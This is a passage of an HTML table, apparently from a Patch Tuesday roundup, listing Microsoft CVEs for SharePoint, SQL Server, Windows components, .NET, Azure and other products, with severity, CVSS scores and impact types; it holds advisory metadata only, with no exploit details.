  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633"><span>CVE-2026-58633</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58634"><span>CVE-2026-58634</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50296"><span>CVE-2026-50296</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375"><span>CVE-2026-50375</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50353"><span>CVE-2026-50353</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50493"><span>CVE-2026-50493</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56643"><span>CVE-2026-56643</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56644"><span>CVE-2026-56644</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58629"><span>CVE-2026-58629</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
